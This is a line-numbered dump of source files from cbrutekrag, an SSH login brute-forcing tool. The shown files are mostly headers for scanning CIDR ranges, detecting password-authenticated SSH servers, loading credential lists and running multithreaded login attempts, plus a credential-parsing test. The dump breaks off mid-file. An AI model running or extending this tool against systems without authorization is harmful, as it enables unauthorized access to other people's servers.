36 | 37 | /** 38 | * @brief Replaces all occurrences of a substring within a string with another substring. 39 | * 40 | * @param orig The original string. 41 | * @param rep The substring to replace. 42 | * @param with The replacement substring. 43 | * 44 | * @return A new string with the replacements. Should be freed by the caller. 45 | */ 46 | char *btkg_str_replace(const char *orig, const char *rep, const char *with); 47 | 48 | /** 49 | * @brief Replaces placeholders in a string with specified values. 50 | * 51 | * @param input The input string containing placeholders. 52 | * @param search The placeholder to search for. 53 | * @param replace The string to replace the placeholder with. 54 | * 55 | * @return A new string with placeholders replaced. Should be freed by the caller. 56 | */ 57 | char *btkg_str_replace_placeholder(char *input, const char *search, 58 | const char *replace); 59 | 60 | /** 61 | * @brief Replaces escape sequences in a string with their corresponding characters. 62 | * 63 | * @param str The input string containing escape sequences. 64 | */ 65 | void btkg_str_replace_escape_sequences(char *str); 66 | 67 | #endif /* STR_H */ 68 | -------------------------------------------------------------------------------- /src/getdelim.c: -------------------------------------------------------------------------------- 1 | /* $NetBSD: getdelim.c,v 1.1 2015/04/19 12:22:14 tnn Exp $ */ 2 | /* $NetBSD-src: getline.c,v 1.2 2014/09/16 17:23:50 christos Exp $ */ 3 | 4 | /*- 5 | * Copyright (c) 2011 The NetBSD Foundation, Inc. 6 | * All rights reserved. 7 | * 8 | * This code is derived from software contributed to The NetBSD Foundation 9 | * by Christos Zoulas. 10 | * 11 | * Redistribution and use in source and binary forms, with or without 12 | * modification, are permitted provided that the following conditions 13 | * are met: 14 | * 1. Redistributions of source code must retain the above copyright 15 | * notice, this list of conditions and the following disclaimer. 16 | * 2. Redistributions in binary form must reproduce the above copyright 17 | * notice, this list of conditions and the following disclaimer in the 18 | * documentation and/or other materials provided with the distribution. 19 | * 20 | * THIS SOFTWARE IS PROVIDED BY THE NETBSD FOUNDATION, INC. AND CONTRIBUTORS 21 | * ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED 22 | * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 23 | * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS 24 | * BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 25 | * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 26 | * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 27 | * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 28 | * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 29 | * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 30 | * POSSIBILITY OF SUCH DAMAGE. 31 | */ 32 | 33 | #include 34 | #include 35 | 36 | #if !HAVE_GETDELIM 37 | 38 | ssize_t 39 | getdelim(char **buf, size_t *bufsiz, int delimiter, FILE *fp) 40 | { 41 | char *ptr, *eptr; 42 | 43 | 44 | if (*buf == NULL || *bufsiz == 0) { 45 | *bufsiz = BUFSIZ; 46 | if ((*buf = malloc(*bufsiz)) == NULL) 47 | return -1; 48 | } 49 | 50 | for (ptr = *buf, eptr = *buf + *bufsiz;;) { 51 | int c = fgetc(fp); 52 | if (c == -1) { 53 | if (feof(fp)) { 54 | ssize_t diff = (ssize_t)(ptr - *buf); 55 | if (diff != 0) { 56 | *ptr = '\0'; 57 | return diff; 58 | } 59 | } 60 | return -1; 61 | } 62 | *ptr++ = (char)c; 63 | if (c == delimiter) { 64 | *ptr = '\0'; 65 | return ptr - *buf; 66 | } 67 | if (ptr + 2 >= eptr) { 68 | char *nbuf; 69 | size_t nbufsiz = *bufsiz * 2; 70 | ssize_t d = ptr - *buf; 71 | if ((nbuf = realloc(*buf, nbufsiz)) == NULL) 72 | return -1; 73 | *buf = nbuf; 74 | *bufsiz = nbufsiz; 75 | eptr = nbuf + nbufsiz; 76 | ptr = nbuf + d; 77 | } 78 | } 79 | } 80 | 81 | #endif 82 | -------------------------------------------------------------------------------- /src/compat.h: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright (c) 2014-2024 Jorge Matricali 3 | 4 | Permission is hereby granted, free of charge, to any person obtaining a copy 5 | of this software and associated documentation files (the "Software"), to deal 6 | in the Software without restriction, including without limitation the rights 7 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 8 | copies of the Software, and to permit persons to whom the Software is 9 | furnished to do so, subject to the following conditions: 10 | 11 | The above copyright notice and this permission notice shall be included in all 12 | copies or substantial portions of the Software. 13 | 14 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 15 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 17 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 18 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 19 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 20 | SOFTWARE. 21 | */ 22 | 23 | /** 24 | * @file compat.h 25 | * @brief Compatibility layer for systems lacking certain standard library functions. 26 | * 27 | * This header provides declarations for functions that may not be available 28 | * on all platforms. If the functions are not available, they are implemented 29 | * elsewhere in the codebase to ensure compatibility across different systems. 30 | */ 31 | 32 | #ifndef COMPAT_H 33 | #define COMPAT_H 34 | 35 | #include 36 | 37 | /** 38 | * @brief Read a delimited record from a stream. 39 | * 40 | * This function reads a line from the specified stream, delimited by the 41 | * specified character. It is intended for platforms that do not support 42 | * the `getdelim` function. 43 | * 44 | * @param buf Pointer to the buffer where the line should be stored. 45 | * @param bufsiz Pointer to the size of the buffer. 46 | * @param delimiter The character that delimits the record. 47 | * @param fp The file stream to read from. 48 | * @return The number of characters read, or -1 on error or end of file. 49 | */ 50 | #if !HAVE_GETDELIM 51 | ssize_t getdelim(char **buf, size_t *bufsiz, int delimiter, FILE *fp); 52 | #endif 53 | 54 | /** 55 | * @brief Read an entire line from a stream. 56 | * 57 | * This function reads a line from the specified stream, stopping at the end 58 | * of the line or the end of the file. It is intended for platforms that do not 59 | * support the `getline` function. 60 | * 61 | * @param buf Pointer to the buffer where the line should be stored. 62 | * @param bufsiz Pointer to the size of the buffer. 63 | * @param fp The file stream to read from. 64 | * @return The number of characters read, or -1 on error or end of file. 65 | */ 66 | #if !HAVE_GETLINE 67 | ssize_t getline(char **buf, size_t *bufsiz, FILE *fp); 68 | #endif 69 | 70 | #endif /* COMPAT_H */ 71 | -------------------------------------------------------------------------------- /src/iprange.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (C) 2018 Jorge Matricali 3 | * 4 | * This program is free software: you can redistribute it and/or modify 5 | * it under the terms of the GNU General Public License as published by 6 | * the Free Software Foundation, either version 3 of the License, or 7 | * (at your option) any later version. 8 | * 9 | * This program is distributed in the hope that it will be useful, 10 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | * GNU General Public License for more details. 13 | * 14 | * You should have received a copy of the GNU General Public License 15 | * along with this program. If not, see . 16 | */ 17 | 18 | #ifndef IPRANGE_H 19 | #define IPRANGE_H 20 | 21 | #ifdef _WIN32 22 | #include 23 | #include 24 | typedef int in_addr_t; 25 | #ifdef _MSC_VER 26 | #pragma comment(lib, "ws2_32.lib") 27 | #endif // _MSC_VER 28 | #else 29 | #include /* in_addr_t */ 30 | #endif 31 | 32 | typedef struct network_addr { 33 | in_addr_t addr; 34 | int pfx; 35 | } network_addr_t; 36 | 37 | /** 38 | * @brief Convert an IPv4 address in string format to a 32-bit host-order value. 39 | * 40 | * @param ipstr The IPv4 address in string format (e.g., "192.168.1.1"). 41 | * 42 | * @return The 32-bit host-order value of the IPv4 address. 43 | * 44 | * @note Exits the program with an error message if the address is invalid. 45 | */ 46 | in_addr_t a_to_hl(const char *ipstr); 47 | 48 | /** 49 | * @brief Compute the netmask address given a prefix length. 50 | * 51 | * @param prefix The prefix length (0 to 32). 52 | * 53 | * @return The netmask address as a 32-bit integer. 54 | */ 55 | in_addr_t netmask(int prefix); 56 | 57 | /** 58 | * @brief Compute the network address given an IP address and a prefix length. 59 | * 60 | * @param addr The IP address as a 32-bit integer. 61 | * @param prefix The prefix length (0 to 32). 62 | * 63 | * @return The network address as a 32-bit integer. 64 | */ 65 | in_addr_t network(in_addr_t addr, int prefix); 66 | 67 | /** 68 | * @brief Compute the broadcast address given an IP address and a prefix length. 69 | * 70 | * @param addr The IP address as a 32-bit integer. 71 | * @param prefix The prefix length (0 to 32). 72 | * 73 | * @return The broadcast address as a 32-bit integer. 74 | */ 75 | in_addr_t broadcast(in_addr_t addr, int prefix); 76 | 77 | /** 78 | * @brief Convert a network address in string format into a host-order network address 79 | * and an integer prefix value. 80 | * 81 | * @param ipstr The network address in string format (e.g., "192.168.1.0/24"). 82 | * 83 | * @return A network_addr_t structure containing the network address and prefix. 84 | * 85 | * @note Exits the program with an error message if the address or prefix is invalid. 86 | */ 87 | network_addr_t str_to_netaddr(const char *ipstr); 88 | 89 | #endif /* IPRANGE_H */ 90 | -------------------------------------------------------------------------------- /src/cbrutekrag.h: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright (c) 2014-2018 Jorge Matricali 3 | 4 | Permission is hereby granted, free of charge, to any person obtaining a copy 5 | of this software and associated documentation files (the "Software"), to deal 6 | in the Software without restriction, including without limitation the rights 7 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 8 | copies of the Software, and to permit persons to whom the Software is 9 | furnished to do so, subject to the following conditions: 10 | 11 | The above copyright notice and this permission notice shall be included in all 12 | copies or substantial portions of the Software. 13 | 14 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 15 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 17 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 18 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 19 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 20 | SOFTWARE. 21 | */ 22 | 23 | #ifndef CBRUTEKRAG_H 24 | #define CBRUTEKRAG_H 25 | 26 | #include 27 | #include 28 | 29 | #include "credentials.h" 30 | #include "target.h" 31 | 32 | #define CBRUTEKRAG_VERBOSE_MODE 0x1 33 | #define CBRUTEKRAG_VERBOSE_SSHLIB 0x2 34 | 35 | typedef struct { 36 | int timeout; 37 | size_t max_threads; 38 | int progress_bar; 39 | int verbose; 40 | int dry_run; 41 | int perform_scan; 42 | int non_openssh; 43 | int allow_honeypots; 44 | char *check_http; 45 | char *bruteforce_output_format; 46 | char *scanner_output_format; 47 | } btkg_options_t; 48 | 49 | typedef struct { 50 | btkg_options_t options; 51 | btkg_credentials_list_t credentials; 52 | btkg_target_list_t targets; 53 | size_t count; 54 | size_t successful; 55 | size_t total; 56 | size_t credentials_idx; 57 | size_t targets_idx; 58 | FILE *output; 59 | FILE *scan_output; 60 | pthread_mutex_t lock; 61 | } btkg_context_t; 62 | 63 | /** 64 | * @brief Initializes the options structure with default values. 65 | * 66 | * This function sets the default values for the options used in the brute 67 | * force tool. 68 | * 69 | * @param options Pointer to the options structure to be initialized. 70 | */ 71 | void btkg_options_init(btkg_options_t *options); 72 | 73 | /** 74 | * @brief Initializes the context structure with default values. 75 | * 76 | * This function initializes the context structure, including its embedded 77 | * options, credentials list, and target list, with default values. 78 | * 79 | * @param context Pointer to the context structure to be initialized. 80 | */ 81 | void btkg_context_init(btkg_context_t *context); 82 | 83 | /** 84 | * @brief Destroys the context structure and frees associated resources. 85 | * 86 | * This function releases any resources associated with the context, including 87 | * mutexes, credentials list, and target list. It should be called when the 88 | * context is no longer needed to avoid memory leaks. 89 | * 90 | * @param context Pointer to the context structure to be destroyed. 91 | */ 92 | void btkg_context_destroy(btkg_context_t *context); 93 | 94 | #endif /* CBRUTEKRAG_H */ 95 | -------------------------------------------------------------------------------- /src/bruteforce_ssh.h: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright (c) 2014-2024 Jorge Matricali 3 | 4 | Permission is hereby granted, free of charge, to any person obtaining a copy 5 | of this software and associated documentation files (the "Software"), to deal 6 | in the Software without restriction, including without limitation the rights 7 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 8 | copies of the Software, and to permit persons to whom the Software is 9 | furnished to do so, subject to the following conditions: 10 | 11 | The above copyright notice and this permission notice shall be included in all 12 | copies or substantial portions of the Software. 13 | 14 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 15 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 17 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 18 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 19 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 20 | SOFTWARE. 21 | */ 22 | 23 | #ifndef BRUTEFORCE_SSH_H 24 | #define BRUTEFORCE_SSH_H 25 | 26 | #include 27 | 28 | #include "cbrutekrag.h" 29 | 30 | /** 31 | * Attempt to brute-force SSH login using the provided credentials. 32 | * 33 | * This function tries to log in to the SSH server using the specified hostname, 34 | * port, username, and password. It performs the brute-force attempt and handles 35 | * any related errors. 36 | * 37 | * @param context The context containing options and configurations for brute-force. 38 | * @param hostname The hostname of the SSH server. 39 | * @param port The port of the SSH server. 40 | * @param username The username to use for the login attempt. 41 | * @param password The password to use for the login attempt. 42 | * 43 | * @return 0 on success, non-zero on failure. 44 | */ 45 | int bruteforce_ssh_login(btkg_context_t *context, const char *hostname, 46 | uint16_t port, const char *username, 47 | const char *password); 48 | 49 | /** 50 | * Try to log in to an SSH server with the specified credentials. 51 | * 52 | * This function tries a single login attempt using the provided credentials and 53 | * returns the result of the attempt. 54 | * 55 | * @param context The context containing options and configurations for brute-force. 56 | * @param hostname The hostname of the SSH server. 57 | * @param port The port of the SSH server. 58 | * @param username The username to use for the login attempt. 59 | * @param password The password to use for the login attempt. 60 | * 61 | * @return 0 on success, non-zero on failure. 62 | */ 63 | int bruteforce_ssh_try_login(btkg_context_t *context, const char *hostname, 64 | const uint16_t port, const char *username, 65 | const char *password); 66 | 67 | /** 68 | * Start the brute-force SSH login process. 69 | * 70 | * This function initializes and starts the brute-force process, including setting 71 | * up necessary threads and handling the brute-force attack. 72 | * 73 | * @param context The context containing options and configurations for brute-force. 74 | */ 75 | void btkg_bruteforce_start(btkg_context_t *context); 76 | 77 | #endif // BRUTEFORCE_SSH_H 78 | -------------------------------------------------------------------------------- /src/credentials.h: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright (c) 2014-2024 Jorge Matricali 3 | 4 | Permission is hereby granted, free of charge, to any person obtaining a copy 5 | of this software and associated documentation files (the "Software"), to deal 6 | in the Software without restriction, including without limitation the rights 7 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 8 | copies of the Software, and to permit persons to whom the Software is 9 | furnished to do so, subject to the following conditions: 10 | 11 | The above copyright notice and this permission notice shall be included in all 12 | copies or substantial portions of the Software. 13 | 14 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 15 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 17 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 18 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 19 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 20 | SOFTWARE. 21 | */ 22 | 23 | #ifndef __BTKG_CREDENTIALS_H 24 | #define __BTKG_CREDENTIALS_H 25 | 26 | #include 27 | 28 | #ifndef LOGIN_NAME_MAX 29 | #define LOGIN_NAME_MAX 32 30 | #endif 31 | #ifndef LOGIN_PASS_MAX 32 | #define LOGIN_PASS_MAX 100 33 | #endif 34 | 35 | typedef struct { 36 | char username[LOGIN_NAME_MAX + 1]; 37 | char password[LOGIN_PASS_MAX + 1]; 38 | } btkg_credentials_t; 39 | 40 | typedef struct { 41 | size_t length; 42 | btkg_credentials_t *credentials; 43 | } btkg_credentials_list_t; 44 | 45 | /** 46 | * @brief Initializes a btkg_credentials_list_t structure. 47 | * 48 | * @param credentials Pointer to the btkg_credentials_list_t structure to initialize. 49 | */ 50 | void btkg_credentials_list_init(btkg_credentials_list_t *credentials); 51 | 52 | /** 53 | * @brief Parses a line into a btkg_credentials_t structure. 54 | * 55 | * @param line The line to parse. 56 | * @param dst Pointer to the btkg_credentials_t structure to fill with parsed data. 57 | * 58 | * @return 0 on success, non-zero on failure. 59 | */ 60 | int btkg_credentials_parse(char *line, btkg_credentials_t *dst); 61 | 62 | /** 63 | * @brief Loads credentials from a given file and appends them into the given btkg_credentials_list_t. 64 | * 65 | * @param credentials_list Pointer to the btkg_credentials_list_t structure to append the loaded credentials to. 66 | * @param filename The name of the file to load the credentials from. 67 | */ 68 | void btkg_credentials_list_load(btkg_credentials_list_t *credentials_list, 69 | char *filename); 70 | 71 | /** 72 | * @brief Appends a btkg_credentials_t structure into a given btkg_credentials_list_t. 73 | * 74 | * @param credentials_list Pointer to the btkg_credentials_list_t structure to append the credentials to. 75 | * @param new The btkg_credentials_t structure to append. 76 | */ 77 | void btkg_credentials_list_append(btkg_credentials_list_t *credentials_list, 78 | btkg_credentials_t new); 79 | 80 | /** 81 | * @brief Frees the memory allocated for a btkg_credentials_list_t structure. 82 | * 83 | * @param credentials_list Pointer to the btkg_credentials_list_t structure to free. 84 | */ 85 | void btkg_credentials_list_destroy(btkg_credentials_list_t *credentials_list); 86 | 87 | #endif // __BTKG_CREDENTIALS_H 88 | -------------------------------------------------------------------------------- /src/detection.h: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright (c) 2014-2024 Jorge Matricali 3 | 4 | Permission is hereby granted, free of charge, to any person obtaining a copy 5 | of this software and associated documentation files (the "Software"), to deal 6 | in the Software without restriction, including without limitation the rights 7 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 8 | copies of the Software, and to permit persons to whom the Software is 9 | furnished to do so, subject to the following conditions: 10 | 11 | The above copyright notice and this permission notice shall be included in all 12 | copies or substantial portions of the Software. 13 | 14 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 15 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 17 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 18 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 19 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 20 | SOFTWARE. 21 | */ 22 | 23 | #ifndef DETECTION_H 24 | #define DETECTION_H 25 | 26 | #include 27 | #include 28 | 29 | #include "cbrutekrag.h" 30 | #include "target.h" 31 | 32 | /** 33 | * Structure to hold the arguments for detection threads. 34 | */ 35 | typedef struct { 36 | btkg_context_t *context; 37 | btkg_target_list_t *target_list; 38 | } btkg_detection_args_t; 39 | 40 | /** 41 | * Detect if the SSH service is running and if it supports 42 | * password authentication. 43 | * 44 | * This function connects to an SSH server and checks its banner and 45 | * authentication methods to determine if it's a valid SSH service and if 46 | * it supports password authentication. 47 | * 48 | * @param ctx The context containing options for detection. 49 | * @param hostname The hostname of the SSH server. 50 | * @param port The port of the SSH server. 51 | * @param tm The timeout for the SSH connection. 52 | * 53 | * @return 0 if the server is a valid SSH server with password authentication, 54 | * 1 if there is a connection error, -1 if the server does not meet 55 | * the criteria. 56 | */ 57 | int detection_detect_ssh(btkg_context_t *ctx, const char *hostname, 58 | uint16_t port, long tm); 59 | 60 | /** 61 | * Thread function to process detection for each target. 62 | * 63 | * This function processes targets from the target list, detects SSH services 64 | * and their authentication methods, and updates the filtered target list. 65 | * 66 | * @param ptr A pointer to a btkg_detection_args_t structure containing the 67 | * context and target list. 68 | * 69 | * @return NULL 70 | */ 71 | void *detection_process(void *ptr); 72 | 73 | /** 74 | * Start the detection process with multiple threads. 75 | * 76 | * This function initializes and starts multiple threads to process the target 77 | * list and detect SSH services. It waits for all threads to complete before 78 | * updating the target list with the results. 79 | * 80 | * @param context The context containing options for the detection. 81 | * @param source The source target list to process. 82 | * @param target The target list to store the results. 83 | * @param max_threads The maximum number of threads to use. 84 | */ 85 | void detection_start(btkg_context_t *context, btkg_target_list_t *source, 86 | btkg_target_list_t *target, size_t max_threads); 87 | 88 | #endif // DETECTION_H 89 | -------------------------------------------------------------------------------- /tests/test-credentials.c: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright (c) 2024 Jorge Matricali 3 | 4 | Permission is hereby granted, free of charge, to any person obtaining a copy 5 | of this software and associated documentation files (the "Software"), to deal 6 | in the Software without restriction, including without limitation the rights 7 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 8 | copies of the Software, and to permit persons to whom the Software is 9 | furnished to do so, subject to the following conditions: 10 | 11 | The above copyright notice and this permission notice shall be included in all 12 | copies or substantial portions of the Software. 13 | 14 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 15 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 17 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 18 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 19 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 20 | SOFTWARE. 21 | */ 22 | 23 | #include 24 | #include 25 | #include 26 | 27 | #include "../src/credentials.h" 28 | 29 | typedef struct { 30 | const char *input; 31 | const char *username; 32 | const char *password; 33 | } test_input_t; 34 | 35 | enum { 36 | TEST_PASSED = 0, 37 | TEST_FAIL_PARSE = 1, 38 | TEST_FAIL_USERNAME = 2, 39 | TEST_FAIL_PASSWORD = 3 40 | }; 41 | 42 | static int test_btkg_credentials_parse(const char *input, const char *username, 43 | const char *password) 44 | { 45 | btkg_credentials_t credentials; 46 | char *line = strdup(input); 47 | 48 | printf("Test btkg_credentials_parse('%s','%s','%s'): ", input, username, 49 | password); 50 | 51 | int ret = btkg_credentials_parse(line, &credentials); 52 | free(line); 53 | 54 | if (ret != 0) { 55 | printf("FAIL\n-- returns '%d'\n", ret); 56 | return TEST_FAIL_PARSE; 57 | } 58 | 59 | if (strcmp(credentials.username, username) != 0) { 60 | printf("FAIL\n-- Expected parsed username = '%s', got '%s'\n", 61 | username, credentials.username); 62 | return TEST_FAIL_USERNAME; 63 | } 64 | 65 | if (strcmp(credentials.password, password) != 0) { 66 | printf("FAIL\n-- Expected parsed password = '%s', got '%s'\n", 67 | password, credentials.password); 68 | return TEST_FAIL_PASSWORD; 69 | } 70 | 71 | printf("PASSED\n"); 72 | return TEST_PASSED; 73 | } 74 | 75 | void run_tests(const test_input_t *tests) 76 | { 77 | int i = 0; 78 | 79 | while (tests[i].input != NULL) { 80 | int result = test_btkg_credentials_parse( 81 | tests[i].input, tests[i].username, tests[i].password); 82 | if (result != TEST_PASSED) { 83 | printf("Test %d failed with error code %d\n", i + 1, 84 | result); 85 | exit(result); 86 | } 87 | i++; 88 | } 89 | 90 | printf("All tests passed\n"); 91 | } 92 | 93 | int main() 94 | { 95 | printf("Running btkg_credentials_parse Test\n"); 96 | 97 | test_input_t matrix[] = { 98 | { "root password", "root", "password" }, 99 | { "root $BLANKPASS", "root", "" }, 100 | { "root", "root", "" }, 101 | { "root ", "root", "" }, 102 | { "root ", "root", " " }, 103 | { "admin password with spaces", "admin", 104 | "password with spaces" }, 105 | { NULL, NULL, NULL }, 106 | }; 107 | 108 | run_tests(matrix); 109 | 110 | return 0; 111 | } 112 | -------------------------------------------------------------------------------- /src/target.h: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright (c) 2014-2024 Jorge Matricali 3 | 4 | Permission is hereby granted, free of charge, to any person obtaining a copy 5 | of this software and associated documentation files (the "Software"), to deal 6 | in the Software without restriction, including without limitation the rights 7 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 8 | copies of the Software, and to permit persons to whom the Software is 9 | furnished to do so, subject to the following conditions: 10 | 11 | The above copyright notice and this permission notice shall be included in all 12 | copies or substantial portions of the Software. 13 | 14 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 15 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 17 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 18 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 19 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 20 | SOFTWARE. 21 | */ 22 | 23 | #ifndef TARGET_H 24 | #define TARGET_H 25 | 26 | #include 27 | 28 | /** 29 | * @brief Represents a network target with a hostname or IP address 30 | * and a port number. 31 | */ 32 | typedef struct { 33 | char *host; 34 | uint16_t port; 35 | } btkg_target_t; 36 | 37 | /** 38 | * @brief Represents a list of network targets. 39 | */ 40 | typedef struct { 41 | size_t length; 42 | btkg_target_t *targets; 43 | } btkg_target_list_t; 44 | 45 | /** 46 | * @brief Check if a given port number is valid. 47 | * 48 | * @param port The port number to check. 49 | * 50 | * @return 1 if the port is valid (between 1 and 65535), otherwise 0. 51 | */ 52 | int btkg_target_port_is_valid(const long port); 53 | 54 | /** 55 | * @brief Allocate and initialize a new btkg_target_list_t structure. 56 | * 57 | * @return Pointer to the newly allocated btkg_target_list_t structure, 58 | * or NULL if the allocation fails. 59 | */ 60 | btkg_target_list_t *btkg_target_list_create(void); 61 | 62 | /** 63 | * @brief Destroy and free a btkg_target_list_t structure. 64 | * 65 | * @param target_list Pointer to the target list to destroy. 66 | */ 67 | void btkg_target_list_destroy(btkg_target_list_t *target_list); 68 | 69 | /** 70 | * @brief Initialize a btkg_target_list_t structure. 71 | * 72 | * @param target_list Pointer to the target list to initialize. 73 | */ 74 | void btkg_target_list_init(btkg_target_list_t *target_list); 75 | 76 | /** 77 | * @brief Append a btkg_target_t structure to a btkg_target_list_t. 78 | * 79 | * @param target_list Pointer to the target list. 80 | * @param target Pointer to the target to append. 81 | */ 82 | void btkg_target_list_append(btkg_target_list_t *target_list, 83 | btkg_target_t *target); 84 | 85 | /** 86 | * @brief Parse a CIDR block and append all addresses in the range as 87 | * btkg_target_t structures to the given btkg_target_list_t. 88 | * 89 | * @param target_list Pointer to the target list. 90 | * @param range The CIDR block string (e.g., "192.168.1.0/24"). 91 | * @param port The port number to use for all targets. 92 | */ 93 | void btkg_target_list_append_range(btkg_target_list_t *target_list, 94 | const char *range, uint16_t port); 95 | 96 | /** 97 | * @brief Load targets from a given file and append them into the 98 | * given btkg_target_list_t. 99 | * 100 | * @param target_list Pointer to the target list. 101 | * @param filename The path to the file containing target definitions. 102 | */ 103 | void btkg_target_list_load(btkg_target_list_t *target_list, 104 | const char *filename); 105 | 106 | /** 107 | * @brief Parse a target string and create a btkg_target_t structure. 108 | * 109 | * @param line The target string (e.g., "192.168.1.1:8080"). 110 | * 111 | * @return Pointer to the newly created btkg_target_t structure, 112 | * or NULL if the string is invalid. 113 | */ 114 | btkg_target_t *btkg_target_parse(char *line); 115 | 116 | #endif // TARGET_H 117 | -------------------------------------------------------------------------------- /src/progressbar.c: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright (c) 2014-2024 Jorge Matricali 3 | 4 | Permission is hereby granted, free of charge, to any person obtaining a copy 5 | of this software and associated documentation files (the "Software"), to deal 6 | in the Software without restriction, including without limitation the rights 7 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 8 | copies of the Software, and to permit persons to whom the Software is 9 | furnished to do so, subject to the following conditions: 10 | 11 | The above copyright notice and this permission notice shall be included in all 12 | copies or substantial portions of the Software. 13 | 14 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 15 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | FITNESS 